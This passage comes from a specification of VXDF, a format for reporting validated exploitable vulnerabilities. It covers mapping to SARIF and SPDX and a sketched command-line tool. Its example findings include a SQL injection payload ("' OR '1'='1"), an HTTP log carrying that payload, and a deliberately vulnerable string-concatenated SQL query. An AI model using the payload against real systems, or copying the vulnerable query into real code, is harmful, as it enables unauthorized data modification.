          "requestPayloadOrQueryDetails": "GET /vxdf-proof/CVE-2022-42889 HTTP/1.1",
          "notes": "Confirms command execution from the vulnerable server."
        }
      }
      ]
    }
  ]
}
```

Appendix C: Mapping to SARIF and SPDX

VXDF is designed to complement existing standards by providing a focused format for validated, exploitable vulnerabilities. This appendix outlines how VXDF data can relate to or be translated into two relevant formats: SARIF (Static Analysis Results Interchange Format) for code analysis results, and SPDX (Software Package Data Exchange) for software inventory and vulnerability metadata. Understanding these mappings is crucial for integrating VXDF into broader DevSecOps ecosystems and toolchains.

Mapping VXDF to SARIF (Static Analysis Results Interchange Format) v2.1.0

The Static Analysis Results Interchange Format (SARIF) is an OASIS standard for the output of static analysis tools. While SARIF is a comprehensive format capable of representing a wide variety of analysis results (including those with or without code flows, and with varying levels of confidence), VXDF specializes in representing *validated, exploitable* vulnerabilities, backed by concrete evidence.

Despite VXDF's specific focus, a validated finding described in a VXDF `ExploitFlow` can be represented within a SARIF `result` object. This allows VXDF data to be consumed by SARIF-aware tools, although some of VXDF's rich validation-specific semantics might require custom properties within SARIF for full fidelity.

Here’s how key elements of a refined VXDF v1.0.0 document can correspond to SARIF elements:

1. **VXDF Root Object to SARIF `run` Object:**
    - A single VXDF document, representing an assessment or validation activity, typically maps to a single SARIF `run` object.
    - `VXDFPayload.vxdfVersion`: Can be stored in `run.conversion.tool.driver.semanticVersion` or as a property in `run.properties`.

    - `VXDFPayload.id` **(Document UUID)**: Can map to `run.correlationGuid` for unique identification of the VXDF-derived run.
    - `VXDFPayload.generatedAt`: Maps to `run.invocations[0].endTimeUtc`.
    - `VXDFPayload.generatorTool`:
        - `name` maps to `run.tool.driver.name`.
        - `version` maps to `run.tool.driver.version`.
        - Additional properties of the VXDF generator could map to `run.tool.driver.properties`.
    - `VXDFPayload.applicationInfo`:
        - `name`, `version`, `purl`, `cpe`: Can be described within `run.artifacts[]` if the primary target is considered an artifact. For instance, an artifact object could represent the application, using its `location.uri` for `repositoryUrl`, and `properties` for PURL, CPE, and version.
        - `environment`: Can be stored in `run.invocations[0].properties.environment` or `run.properties.targetEnvironment`.
    - `VXDFPayload.customProperties`: Can map to `run.properties`.
2. **VXDF `ExploitFlow` to SARIF `result` Object:**
    - Each `ExploitFlow` object within the `VXDFPayload.exploitFlows` array **MUST** be represented as a distinct SARIF `result` object.
    - `ExploitFlow.id` **(Flow UUID)**: Maps to `result.correlationGuid`. This ensures each validated finding is uniquely identifiable.
    - `ExploitFlow.title`: Can map to a combination of `rule.shortDescription.text` (if a matching rule is defined) and `result.message.text`. A common practice is to use `result.message.text` for a concise summary.
    - `ExploitFlow.description`: Can be appended to `result.message.text` or stored in `result.properties.vxdf_description`.
    - `ExploitFlow.validatedAt`: Store in `result.properties.vxdf_validatedAt`.
    - `ExploitFlow.validationEngine`:
        - `name` maps to `result.provenance.conversionSources[0].tool.driver.name` (if considering VXDF as a conversion source for this SARIF result) or more simply in `result.properties.vxdf_validationEngine_name`.
        - `version` maps to `result.provenance.conversionSources[0].tool.driver.version` or `result.properties.vxdf_validationEngine_version`.
3. **Mapping Vulnerability Classification and Severity:**
    - `ExploitFlow.category` **and** `ExploitFlow.cwe` **(Array of Strings)**:
        - These map to the SARIF `rule` concept. A `reportingDescriptor` (rule) should be defined within `run.tool.driver.rules[]` (or an extension's rules).

        - The `rule.id` could be derived from the primary CWE (e.g., `"CWE-89"`) or a VXDF-specific category code (e.g., `"VXDF.INJECTION"`).
        - `rule.name` can be the VXDF `category`.
        - `rule.shortDescription.text` can be the `ExploitFlow.title` or a generic description of the category.
        - `rule.fullDescription.text` can be a more detailed description of the category.
        - The `ExploitFlow.cwe` array can be mapped to `rule.relationships[]` where each item indicates a `target` that is a CWE entry in a defined `taxonomy` (e.g., `run.taxonomies[]`).
        - The `result` would then reference this rule via `result.ruleId` and `result.ruleIndex`.
    - `ExploitFlow.severity` **(Structured Object)**:
        - VXDF `severity.level` (e.g., "CRITICAL", "HIGH") maps to SARIF `result.level`. For example:
            - "CRITICAL", "HIGH" -> `"error"`
            - "MEDIUM" -> `"warning"`
            - "LOW", "INFORMATIONAL" -> `"note"`
            - "NONE" -> `"none"` (or omit `level` if appropriate)
        - The full VXDF `severity` object, including `cvssV3_1.vectorString`, `cvssV3_1.baseScore`, `cvssV4_0.*` details, and `justification`, **SHOULD** be stored in `result.properties.vxdf_severityDetails` to preserve full fidelity, as SARIF `level` is less granular.
        - `result.rank` (a float between -1.0 and 100.0) can be populated from `severity.cvssV3_1.baseScore` or `severity.cvssV4_0.baseScore` (scaled appropriately if needed, though CVSS scores 0-10 can often be used directly if the tool interpreting `rank` understands this scale).
4. **Mapping Vulnerability Locus (`source`, `sink`, `steps`, `affectedComponents`):**

    - **Primary Location (`result.locations[0]`):**
        - For flow-based vulnerabilities, the VXDF `sink` (`Location` object) typically maps to the primary SARIF `result.locations[0].physicalLocation`.
        - For non-flow vulnerabilities described by `affectedComponents`, the primary `Location` within the first or most relevant `AffectedComponent` can serve as `result.locations[0].physicalLocation`.
        - The VXDF `Location` object's fields (`filePath` to `artifactLocation.uri`, `startLine`/`endLine`/`startColumn`/`endColumn` to `region`, `snippet` to `region.snippet`) map directly to SARIF's `physicalLocation` structure. `fullyQualifiedName` maps to `logicalLocations[].fullyQualifiedName`.
    - **Flow-Based Details (`source` and `steps`):**

        - These map to SARIF `result.codeFlows[]`. A VXDF `ExploitFlow` typically translates to one `codeFlow`.
        - Each `codeFlow` contains one `threadFlow`.
        - Each VXDF `TraceStep` object (including the `source` location if represented as the first step) maps to a `threadFlowLocation` within the `threadFlow.locations[]` array.
            - `TraceStep.order` dictates the sequence.
            - `TraceStep.location` (a VXDF `Location` object) maps to the SARIF `location.physicalLocation` and `location.logicalLocations` as described above.
            - `TraceStep.description` maps to `location.message.text`.
            - `TraceStep.stepType` can be stored in `location.properties.vxdf_stepType`.
            - `TraceStep.evidenceRefs` (UUIDs) can be stored in `location.properties.vxdf_evidenceRefs` to link specific steps to evidence items.
    - **Component-Based Details (`affectedComponents`):**
        - If not used for the primary `result.locations[0]`, details from `affectedComponents` (like PURL, CPE, name, version) can be described in `result.properties.vxdf_affectedComponents` as an array of objects.
        - Alternatively, if an `AffectedComponent` has a specific `Location` that is key, that `Location` could be added to `result.relatedLocations[]`.

5. **Mapping Evidence (Crucial for VXDF):**

    - SARIF does not have a first-class, structured object for detailed exploit validation evidence comparable to VXDF's `Evidence` model. Therefore, preserving this rich information requires careful mapping:
    - **Primary Recommendation:** The entire VXDF `evidence` array (containing structured `Evidence` objects with `evidenceType`, `validationMethod`, `description`, `timestamp`, and typed `data`) **SHOULD** be embedded as a structured property within the SARIF `result`, for example, in `result.properties.vxdf_evidence: [...]`. This preserves all details for consumers that can parse VXDF-specific properties.
    - **Summarizing in `result.message`:** A concise summary of the key evidence (e.g., the `description` of the most pertinent VXDF `Evidence` item) can be included in `result.message.text`, often appended to the main vulnerability description.
        - *Example:* "...Exploit validated by manual test: 'Using payload X resulted in admin access.'"

    - **Using `result.attachments[]`:** Each VXDF `Evidence` item could potentially be represented as a SARIF `attachment`.
        - The `Evidence.description` maps to `attachment.description.text`.
        - If `Evidence.data` contains content like a `POC_SCRIPT.scriptContent` or `CODE_SNIPPET_CONTEXT.content`, this could map to `attachment.artifactLocation.uri` (if externalized) or `attachment.regions[0].snippet` or `attachment.artifactContent` (if embedded).
        - This approach is suitable for file-like evidence but may be less ideal for structured data like HTTP logs unless they are stringified.
    - `result.hostedViewerUri`: If there's a system that can display the full VXDF finding with its rich evidence, this URI could point to it.
    - **Validation Context from VXDF:**
        - `ExploitFlow.validatedAt` **SHOULD** be stored in `result.properties.vxdf_validatedAt`.
        - `ExploitFlow.validationEngine.name` and `version` **SHOULD** be stored in `result.properties.vxdf_validationEngine_name` and `result.properties.vxdf_validationEngine_version`.
        - The specific `Evidence.validationMethod` can be part of the structured evidence in `result.properties.vxdf_evidence`.
6. **Mapping Other `ExploitFlow` Fields:**
    - `ExploitFlow.status`: Can map to `result.baselineState` (e.g., "OPEN" -> "new", "REMEDIATED" -> "fixed") or `result.suppressions[]` (if the status implies suppression). More directly, store in `result.properties.vxdf_status`.
    - `ExploitFlow.tags`: Can map to `result.tags[]` or `result.properties.vxdf_tags`.
    - `ExploitFlow.remediation`:
        - `summary` can map to `result.fixes[0].description.text`.
        - `detailsUrl` can map to `rule.helpUri` (if remediation is generic for the rule) or `result.fixes[0].artifactChanges[0].replacements[0].deletedRegion.message.text` (if associating with a specific code fix location, though less direct). Storing in `result.properties.vxdf_remediation` is also an option.
    - `ExploitFlow.correlationGuids`: If a VXDF entry is itself a validation of a SARIF finding, one of the GUIDs in this array might be the `correlationGuid` of the original SARIF `result`. When converting VXDF *to* SARIF, these might be mapped to `result.correlationGuids[]` if the target SARIF consumer supports it, or `result.properties.vxdf_correlationGuids`.

7. **Handling Multiple Flows/Paths:**
    - VXDF typically represents each distinct validated exploit path as a separate `ExploitFlow`. If a single underlying weakness has multiple distinct exploitable paths, they would be separate `ExploitFlow` items, thus translating to separate SARIF `result` items.
    - If a SARIF `result` originally contained multiple `codeFlows` (representing multiple paths for one reported issue), and a VXDF process validates each of these paths independently, then each validated path might generate its own VXDF `ExploitFlow`. When converting back to SARIF, these would become distinct `result` objects, each with a single `codeFlow` derived from the VXDF.
8. **Example Snippet (Conceptual - how a VXDF ExploitFlow might look as a SARIF result):**
   (Assuming the SQL Injection example from Appendix A of the refined VXDF spec)

```
// In SARIF run.results[]

{

  "ruleId": "CWE-89",

  "ruleIndex": 0, // Assuming rule CWE-89 is defined at index 0 in tool.driver.rules

  "correlationGuid": "f47ac10b-58cc-4372-a567-0e02b2c3d479", // From VXDF ExploitFlow.id

  "level": "error", // Mapped from VXDF severity.level "HIGH"

  "message": {

    "text": "Authenticated SQL Injection in User Profile Update: Unsanitized 'userId' parameter...
Allows modification and exfiltration of sensitive user profile data. Key evidence: Payload
'target_user_id' OR '1'='1; ...' successfully updated admin user's email."

  },

  "locations": [

    { // Primary location: the sink

      "physicalLocation": {
        "artifactLocation": {
          "uri": "src/main/java/com/acme/controller/ProfileController.java" // From VXDF sink.filePath or
uri
        },
        "region": {
          "startLine": 152, // From VXDF sink.startLine
          "snippet": {
            "text": "String query = \"UPDATE user_profiles SET email='\" + newEmail + \"' WHERE
user_id='\" + userId + \"';\";\nstatement.executeUpdate(query);" // From VXDF sink.snippet
          }
        }
      },
      "logicalLocations": [
        {
          "fullyQualifiedName": "com.acme.service.UserProfileService.updateProfileById" // From VXDF
sink.fullyQualifiedName
        }
      ]
    }
  ],
  "codeFlows": [
    {
      "threadFlows": [
        {
          "locations": [
            { // Step 0: Source interaction
```

```
              "location": {
                "physicalLocation": { /* ... details of VXDF source Location ... */ },
                "message": {"text": "Attacker crafts a POST request with a malicious 'userId' value.
(Source: User-controlled 'userId' parameter from profile update form at
https://staging.acme.example.com/api/profile/update, POST body: userId)"}
              },
              "properties": {"vxdf_stepType": "SOURCE_INTERACTION", "vxdf_evidenceRefs":
["a0b1c2d3-e4f5-4a5b-8c9d-0e1f2a3b4c5d"]}
            },
            // ... other steps from VXDF ExploitFlow.steps[] ...
            { // Step 3: Sink interaction
              "location": {
                "physicalLocation": { /* ... details of VXDF sink Location (repeated or referenced) ... */ },
                "message": {"text": "The malicious SQL query is executed against the database. (Sink:
SQL UPDATE statement execution using unsanitized input in
com.acme.service.UserProfileService.updateProfileById)"}
              },
              "properties": {"vxdf_stepType": "SINK_INTERACTION", "vxdf_evidenceRefs":
["c2d3e4f5-a6b7-4c7d-0e1f-2a3b4c5d6e7f"]}
            }
          ]
        }
      ]
    }
  ],
  "properties": {
    "vxdf_validatedAt": "2025-05-17T14:55:00Z",
    "vxdf_validationEngine_name": "DAST Engine - SQLi Module",
    "vxdf_validationEngine_version": "1.2.0",
    "vxdf_category": "INJECTION",
    "vxdf_severityDetails": {
      "level": "HIGH",
      "cvssV3_1": {
        "version": "3.1",
        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
        "baseScore": 8.1
        // ... full baseMetrics object ...
      },
      "justification": "Allows modification and exfiltration of sensitive user profile data..."
    },
    "vxdf_evidence": [ // Array of structured VXDF Evidence objects
      {
        "id": "a0b1c2d3-e4f5-4a5b-8c9d-0e1f2a3b4c5d",
        "evidenceType": "TEST_PAYLOAD_USED",
        "validationMethod": "DYNAMIC_ANALYSIS_EXPLOIT",
        "description": "SQL injection payload used to update another user's email address.",
        "timestamp": "2025-05-17T14:50:00Z",
        "data": { /* ... structured TestPayloadData ... */ }
      },
      {
        "id": "b1c2d3e4-f5a6-4b6c-9d0e-1f2a3b4c5d6e",
        "evidenceType": "HTTP_REQUEST_LOG",
        /* ... more evidence items ... */
```

```
      }
    ],
    "vxdf_status": "OPEN",
    "tags": ["Authenticated", "PII_Impact"]
  }
}
```

9. **Limitations and Considerations:**
    - **Semantic Gap:** SARIF's primary purpose is to report findings from static analysis tools, not necessarily dynamically validated exploits with rich, structured evidence. While VXDF data *can* be mapped, SARIF viewers may not natively understand or display the detailed VXDF evidence structures stored in `properties`.
    - **"Validated" Property:** SARIF has no standard field to explicitly mark a result as "dynamically validated as exploitable." This crucial VXDF semantic is best conveyed by including `VXDFPayload.validationEngine` details and `VXDFPayload.validatedAt` within `result.properties`. A custom tag like `"vxdf_validated_exploitable": true` could also be added to `result.properties`.
    - **Evidence Fidelity:** The richest representation of VXDF evidence in SARIF is via the `result.properties.vxdf_evidence` array. Simpler mappings (e.g., to `result.message` or basic `attachments`) will lose structural detail and machine-readability of the evidence data.
    - **Tooling Support:** Consumers of SARIF files containing embedded VXDF information would need specific logic to parse and utilize the `vxdf_*` properties.

Summary for SARIF Mapping:

Mapping VXDF to SARIF is feasible and useful for integrating validated exploit information into ecosystems that consume SARIF. The key is to leverage SARIF's `result.properties` to embed the rich, structured information from VXDF (especially for `severity` and `evidence`) to minimize semantic loss. While SARIF provides the structural containers (results, locations, code flows), the specific VXDF semantics of "validated exploitability" and detailed evidence are best carried as custom extensions within those containers. A VXDF-to-SARIF converter should prioritize preserving as much of the

VXDF detail as possible, clearly documenting how VXDF fields are mapped. Conversely, if a VXDF finding is a validation of an existing SARIF result, the `ExploitFlow.correlationGuids` should be used to link back to the original SARIF `result.correlationGuid`.

Mapping VXDF to SPDX (and SBOM context)

The Software Package Data Exchange (SPDX®) specification is an ISO/IEC standard (ISO/IEC 5962:2021) for communicating Software Bill of Materials (SBOM) information, including components, licenses, copyrights, and security references. While VXDF is not an SBOM (it does not primarily list software components or licenses), it is designed to **complement SBOMs** by providing detailed, validated, and evidence-backed information about exploitable vulnerabilities within the software described by an SBOM.

The core idea is:

- An **SBOM (e.g., an SPDX document)** tells you *what* software components are present in a product or system. It may also list known vulnerabilities (e.g., CVEs) associated with these components.
- A **VXDF document** tells you *if and how* a specific vulnerability (which could be a known CVE affecting a component from the SBOM, or a newly discovered flaw in proprietary code) has been *validated as exploitable in the context of that product*, providing the precise data flow or affected component details and the concrete evidence of exploitability.

This synergy is crucial for accurate risk assessment and prioritized remediation. Here’s how VXDF v1.0.0 integrates with SPDX and general SBOM concepts:

1. Linking an Entire VXDF Document to an SPDX Package:

- The `VXDFPayload.applicationInfo` object in a VXDF document describes the overall application or product that was assessed. Key fields for linking include:
    - `applicationInfo.name` and `applicationInfo.version`: These should align with the `packageName` and `packageVersion` in an SPDX document.
    - `applicationInfo.purl`: The Package URL is a powerful, standardized way to identify the software package and can directly correspond to a PURL used in an SPDX document for the primary package being described.
    - `applicationInfo.cpe`: Similarly, a CPE can be used for linking.

    - Within an SPDX document (version 2.2.1 or later), an `ExternalRef` can be used on a Package to point to the VXDF document:
        - `externalRefType`**:** `securityAdvisory` (or `other` with a comment if a more specific type like `validatedExploitReport` is not yet standard in SPDX).
        - `locator`**:** `<URL to the VXDF document>` (e.g., `https://example.com/vxdf/acme-webapp-v2.3.1-findings.vxdf.json`).
        - `comment`**:** `"VXDF report detailing validated exploitable vulnerabilities for this package. See VXDF document ID: <VXDFPayload.id>."`
    - This provides a document-level link from the SBOM to the comprehensive VXDF report for that software.
2. **Linking Specific VXDF `ExploitFlows` to SPDX Packages/Files (Components):**

    - This is where the refined VXDF v1.0.0 schema offers significant advantages through the `ExploitFlow.affectedComponents[]` array. Each object in this array can precisely identify a software component (a library, module, OS package, etc.) that is part of the vulnerability.
    - **Using PURL/CPE in `AffectedComponent`:**
        - `AffectedComponent.purl`: This **MUST** be used when available and is the preferred method for linking to a specific component listed in an SPDX document (which also heavily relies on PURL for component identification).
        - `AffectedComponent.cpe`: Can also be used for linking.
        - `AffectedComponent.name` and `AffectedComponent.version` provide human-readable context.
    - **Scenario 1: VXDF Validates a Known CVE in an SBOM Component:**
        - An SBOM (SPDX) lists "Component X" (e.g., `pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1`) and notes it's affected by "CVE-Y".
        - A VXDF `ExploitFlow` can:
            - List "Component X" in its `affectedComponents` array using the same PURL.
            - Reference "CVE-Y" in its `cwe` array (or a dedicated `references` field if added for CVEs specifically).
            - Provide the detailed `source`, `sink`, `steps` (if applicable, showing how the application code uses the vulnerable part of Component X) and, crucially, the `evidence` that CVE-Y is *actually exploitable in this specific application's context*.
        - The SPDX document could then have an `ExternalRef` on "Component X" (or on a vulnerability entry associated with it, if the SBOM format supports that) pointing to the specific VXDF `ExploitFlow` (e.g.,

        `https://example.com/vxdf/report.json#ExploitFlow.id=f47ac10b...` if fragment identifiers are supported by hosting).
   - **Scenario 2: VXDF Describes a Novel Vulnerability in a Component:**
     - If VXDF describes a zero-day or application-specific flaw within "Component X", the `affectedComponents` array still links the finding to that component in the SBOM via PURL.
3. **Leveraging `Location` Objects for Component Context:**

   - Even within a flow-based vulnerability (`source`/`sink`/`steps`), if a particular `Location` (e.g., the `sink`) is within a specific known library, the `Location` object itself can include `purl`, `cpe`, `componentName`, and `componentVersion` fields, providing another layer of granularity for linking to SBOM components.
4. **VXDF as Input to VEX (Vulnerability Exploitability eXchange):**

   - VEX documents provide assertions about the exploitability status of vulnerabilities in a specific product (e.g., "not_affected," "affected," "fixed," "under_investigation").
   - When a VEX document states a component/product is **"affected"** by a vulnerability, it can reference a VXDF `ExploitFlow` as the justification. The VXDF provides the *proof* (the "why and how" it's affected and exploitable).
   - The `ExploitFlow.id` (UUID) is ideal for being referenced in a VEX statement's `justification` or `impact_statement_document` fields.
   - The presence of a VXDF record strongly supports an "affected" status, while the absence (after thorough validation attempts) might support a "not_affected" status if the analysis was scoped to find such issues.
5. **CWE References:**

   - SPDX allows for vulnerability references, which can include CVEs. While SPDX might not list CWEs directly for each vulnerability in all versions/profiles, if it does, the `ExploitFlow.cwe` array in VXDF provides a common reference point. However, the primary link between VXDF and vulnerabilities mentioned in an SBOM is usually via the component identifier (PURL) and the vulnerability identifier (CVE). VXDF then enriches this by detailing the CWE root cause of the validated exploit.
6. **Embedding vs. Linking VXDF Data:**

   - The refined VXDF `ExploitFlow` (with its detailed `evidence` and potential `steps`) can be verbose. Embedding entire VXDF `ExploitFlows` directly into an

SBOM (e.g., as custom SPDX elements or annotations) is generally **not recommended** as it would bloat the SBOM and mix concerns.
    - **Linking is preferred:** Using SPDX `ExternalRef` elements (at the Package level or associated with specific listed vulnerabilities/components) to point to external VXDF documents or specific `ExploitFlow` URIs is cleaner and keeps each standard focused on its primary purpose.

7. **Licenses and Patents:**
   SPDX excels at license and copyright information for components. VXDF does not deal with this directly.
    - The only consideration, as noted in the original text, is the sensitivity of `codeLocation.snippet` or `Evidence.data.scriptContent` if they contain proprietary code from a component whose license (as per SPDX) might restrict such redistribution, even for security reporting. Producers should be mindful of this when creating VXDFs intended for external sharing.

Summary of VXDF and SPDX/SBOM Integration (Refined):

- **Distinct but Complementary Roles:** SPDX/SBOMs inventory software components and may list known associated vulnerabilities. VXDF provides evidence-backed details of validated, exploitable instances of those (or other) vulnerabilities within the context of the inventoried software.
- **PURL is Key:** Package URLs are the primary mechanism for robustly linking `VXDFPayload.applicationInfo` and `ExploitFlow.affectedComponents[]` (and specific `Location` objects) to corresponding packages/components in an SPDX document. CPEs are a secondary mechanism.
- **Linking Mechanisms:**
    - Use SPDX `ExternalRef` (type `securityAdvisory` or `other`) on SPDX Packages to point to entire VXDF documents.
    - Where SBOM formats or VEX allow, reference specific `ExploitFlow.id`s for granular linkage.
    - A VXDF `ExploitFlow` references affected components via PURL/CPE in its `affectedComponents` array.
- **Contextual Validation:** VXDF provides the crucial "is it *actually* exploitable *here*?" context that SBOMs and simple CVE lists often lack. This enables more accurate risk-based decision-making.

Conclusion:

The VXDF v1.0.0 schema, with its strong support for component identification via PURL/CPE in `applicationInfo` and `affectedComponents`, significantly enhances its ability to integrate with SPDX and other SBOM formats. This integration moves beyond simple document-level linking to allow for more granular associations between specific validated vulnerabilities in VXDF and the software components listed in an SBOM. This powerful combination helps organizations move from knowing *what* components they have and *what known vulnerabilities exist* to understanding *which of these pose a validated, exploitable risk* in their specific deployments, backed by actionable evidence.

As both VXDF and SBOM/VEX standards continue to evolve, the opportunities for even tighter and more automated integration will increase, ultimately benefiting vulnerability management and supply chain security.

Appendix D: Reference Implementation Sketch (Pseudo-CLI)

To foster adoption and provide practical utility, a reference implementation for VXDF v1.0.0 could be provided. This would likely include:

1. A core library (e.g., in Python, Java, JavaScript) for parsing, validating, creating, and manipulating VXDF documents according to the normative schema.
2. A simple Command-Line Interface (CLI) tool built upon this library for common operations.

Below, we sketch how such a CLI tool, tentatively named `vxdfutil`, might function. These commands are illustrative and aim to show how users and integrators could interact with the refined VXDF data.

1. Validating a VXDF Document (`validate`)

A fundamental feature is to validate a VXDF document against the normative v1.0.0 schema.

- **Command:**

```
vxdfutil validate report.vxdf.json [--schema-version=1.0.0]
```

- **Functionality:**
    - Parses `report.vxdf.json`.
    - Validates it against the specified (or default `1.0.0`) VXDF JSON Schema.
    - Reports success or lists detailed validation errors.
- **Example Output (Success):**

```
Validation successful: report.vxdf.json conforms to VXDF Schema v1.0.0.
```

- **Example Output (Failure):**

```
Validation failed for report.vxdf.json (VXDF Schema v1.0.0):

- Error: root.id is missing (required property).

- Error: exploitFlows[0].severity must be an object, found string "HIGH".

- Error: exploitFlows[1].evidence[0].evidenceType "HTTP_LOG" is not a valid enum value. Allowed values: [...].

- Error: exploitFlows[1].evidence[0].data does not conform to schema for evidenceType "HTTP_REQUEST_LOG": property "method" is missing.
```

- **Purpose:** Helps producers debug their output and allows consumers to trust the structure of incoming VXDF files.

2. Summarizing and Displaying VXDF Content (`summarize`, `show`)

Users will need human-readable summaries and detailed views of VXDF content.

- **Command (`summarize`):**

```
vxdfutil summarize report.vxdf.json
```

- **Example Output (`summarize`):**

```
VXDF Report (vxdfVersion: 1.0.0)

Document ID: bc9f193c-7e73-4c69-9d44-1b024632b16b

Generated At: 2025-05-17T18:30:00Z

Generator: AcmeSecurityScanner Suite v2.5.1
```

```
Application: Acme WebApp v2.3.1-patch2 (PURL: pkg:generic/acme/webapp@v2.3.1-patch2)

Total ExploitFlows: 3

Flows Overview:
ID                                    | Severity | Category                      | Title
--------------------------------------|----------|-------------------------------|--------------------------------------------------
f47ac10b-58cc-4372-a567-0e02b2c3d479  | HIGH     | INJECTION                     | Authenticated SQL Injection in User Profile Update
0d1e2f3a-4b5c-4678-890a-bcdef0123456  | MEDIUM   | CROSS_SITE_SCRIPTING          | Reflected XSS in Search Results Page
a2c4e0f3-1d8a-4e9b-b0f1-3e5d1a2b3c4d  | LOW      | MISSING_SECURITY_HEADER       | Missing X-Content-Type-Options Security Header
```

- **Command (`show`):**

```
vxdfutil show report.vxdf.json --flow-id f47ac10b-58cc-4372-a567-0e02b2c3d479 [--verbose-evidence]
```

Example Output (`show` for a flow-based vulnerability):

```
ExploitFlow Details (ID: f47ac10b-58cc-4372-a567-0e02b2c3d479)
Title: Authenticated SQL Injection in User Profile Update
Description: Unsanitized 'userId' parameter...
Validated At: 2025-05-17T14:55:00Z
Validation Engine: DAST Engine - SQLi Module v1.2.0
Severity:
  Level: HIGH
```

  CVSSv3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (Base: 8.1)

  Justification: Allows modification and exfiltration of sensitive user profile data...

Category: INJECTION

CWEs: [CWE-89]

Status: OPEN

Tags: [Authenticated, PII_Impact]

Source:

  Location Type: WEB_ENDPOINT_PARAMETER

  Description: User-controlled 'userId' parameter from the profile update form.

  URL: https://staging.acme.example.com/api/profile/update

  HTTP Method: POST

  Parameter Name: userId

  Parameter Location: body_form

Sink:

  Location Type: SOURCE_CODE_UNIT

  Description: SQL UPDATE statement execution using unsanitized input.

  File Path: src/main/java/com/acme/controller/ProfileController.java

  Start Line: 152

  Fully Qualified Name: com.acme.service.UserProfileService.updateProfileById

  Snippet: "String query = \"UPDATE user_profiles SET email='\" + newEmail + \"' WHERE user_id='\" + userId + \"';\";..."

Steps (3):

  [0] Type: SOURCE_INTERACTION, Location: WEB_ENDPOINT_PARAMETER (userId @ /api/profile/update)

    Description: Attacker crafts a POST request with a malicious 'userId' value.

  [1] Type: DATA_PROPAGATION, Location: SOURCE_CODE_UNIT (ProfileController.java:75)

```
    Description: The 'userId' parameter is read from the request.
  [2] Type: SINK_INTERACTION, Location: DATABASE_SCHEMA_OBJECT (user_profiles table update)
    Description: The malicious SQL query is executed against the database.
Evidence (3 items - use --verbose-evidence for full data):
  [1] ID: a0b1c2d3-e4f5-4a5b-8c9d-0e1f2a3b4c5d
    Type: TEST_PAYLOAD_USED (Validation: DYNAMIC_ANALYSIS_EXPLOIT)
    Timestamp: 2025-05-17T14:50:00Z
    Description: SQL injection payload used to update another user's email address.
    Data: { payloadContent: "target_user_id' OR '1'='1'; ...", targetParameterOrLocation: "POST body: userId" }
  [2] ID: b1c2d3e4-f5a6-4b6c-9d0e-1f2a3b4c5d6e
    Type: HTTP_REQUEST_LOG (Validation: DYNAMIC_ANALYSIS_EXPLOIT)
    Timestamp: 2025-05-17T14:50:05Z
    Description: HTTP POST request demonstrating the SQL injection attempt.
    Data: { method: "POST", url: "...", body: "userId=target_user_id'%20OR%20'1'='1'; ..." }
  [3] ...
Correlation GUIDs: [...]
Custom Properties: {...}
```

- **Purpose:** Provides quick overviews and detailed inspection capabilities without manual JSON parsing. The `show` command would need options for verbosity, especially for the structured `Evidence.data`.

3. Merging VXDF Documents (`merge`)

Consolidate multiple VXDF reports.

- **Command:**

```
vxdfutil merge report1.vxdf.json report2.vxdf.json --output combined_report.vxdf.json
[--deduplicate-flows]
```

- **Functionality:**
  - Combines `exploitFlows` from multiple input files into a single VXDF document.
  - Merges root-level metadata intelligently (e.g., listing multiple `generatorTool` entries if different, ensuring `applicationInfo` is consistent or reconciled).
  - Handles `ExploitFlow.id` (UUIDs): UUIDs should be unique by generation. If merging exact duplicates is a concern (e.g., same flow ID from different runs of the same tool on the same codebase), a deduplication strategy might be offered (e.g., based on ID and key fields, or a more sophisticated hash).
- **Purpose:** Centralized reporting and analysis.

4. Converting Formats (`convert`)

Interoperability with other formats like SARIF, or generating human-readable reports.

- **Commands:**

```
vxdfutil convert --from sarif input.sarif --to vxdf output.vxdf.json [--require-validation-info]

vxdfutil convert --from vxdf input.vxdf.json --to sarif output.sarif [--embed-vxdf-properties]

vxdfutil convert --from vxdf input.vxdf.json --to html output.html [--template custom_template.html]

vxdfutil convert --from vxdf input.vxdf.json --to csv output.csv [--fields id,title,severity.level,category]
```

- **Functionality:**
  - **SARIF to VXDF:** Converts SARIF `result` objects to VXDF `ExploitFlows`.
    - A `--require-validation-info` flag might mandate that the SARIF results have properties indicating validation, or the tool could prompt interactively for evidence details.
    - If direct validation info is missing, `Evidence` objects might be created with `evidenceType: "IMPORTED_STATIC_ANALYSIS_FINDING"` and `validationMethod: "NOT_VALIDATED_BY_VXDF_PROCESSOR"`, with the SARIF message in `Evidence.data`. This clarifies that it's not yet a fully "VXDF-validated" entry.
  - **VXDF to SARIF:** Implements the mapping defined in Appendix B (Mapping to SARIF), embedding rich VXDF details (structured severity, full evidence array) into SARIF `result.properties`.

    - **VXDF to HTML/PDF:** Generates human-readable reports, rendering the structured `Location`, `TraceStep`, `AffectedComponent`, and `Evidence` (including its `data`) in a clear, navigable format.
    - **VXDF to CSV/other formats:** For quick summaries or integration with spreadsheet-based tracking.
- **Purpose:** Facilitates data exchange and reporting in various contexts.

5. Comparing VXDF Documents (`diff`)

Identify changes between two VXDF reports (e.g., from different scans or versions of an application).

- **Command:**

```
vxdfutil diff old_report.vxdf.json new_report.vxdf.json
```

- **Functionality:**
    - Compares `exploitFlows` based on their `id` (UUID).
    - Reports new, fixed (present in old, missing in new), and changed flows.
    - For changed flows, it could detail what changed (e.g., `severity.level`, `status`, number/type of `evidence` items, changes in `affectedComponents`).
- **Example Output:**

```
VXDF Diff Report (old_report.vxdf.json vs new_report.vxdf.json):

- New Flows (2):

  [1] ID: 123e4567-e89b-12d3-a456-426614174000, Severity: CRITICAL, Category: INJECTION, Title: ...

  [2] ...

- Fixed/Removed Flows (1):

  [1] ID: abcdef01-2345-6789-abcd-ef0123456789, Severity: MEDIUM, Category: XSS, Title: ...

- Changed Flows (1):

  [1] ID: fedcba98-7654-3210-fedc-ba9876543210

     - severity.level: HIGH -> MEDIUM

     - status: OPEN -> REMEDIATED
```

```
+ evidence: Added 1 new evidence item (type: RUNTIME_APPLICATION_LOG_ENTRY)
```

- **Purpose:** Tracking remediation progress, identifying regressions, and understanding changes in the validated risk posture.

6. Policy Checking and CI/CD Integration (`check`, `gate`)

Enforce security policies based on VXDF content, suitable for CI/CD pipelines.

- **Command (`check` or `gate`):**

```
vxdfutil check report.vxdf.json --fail-on-severity CRITICAL,HIGH --max-days-since-validation 30

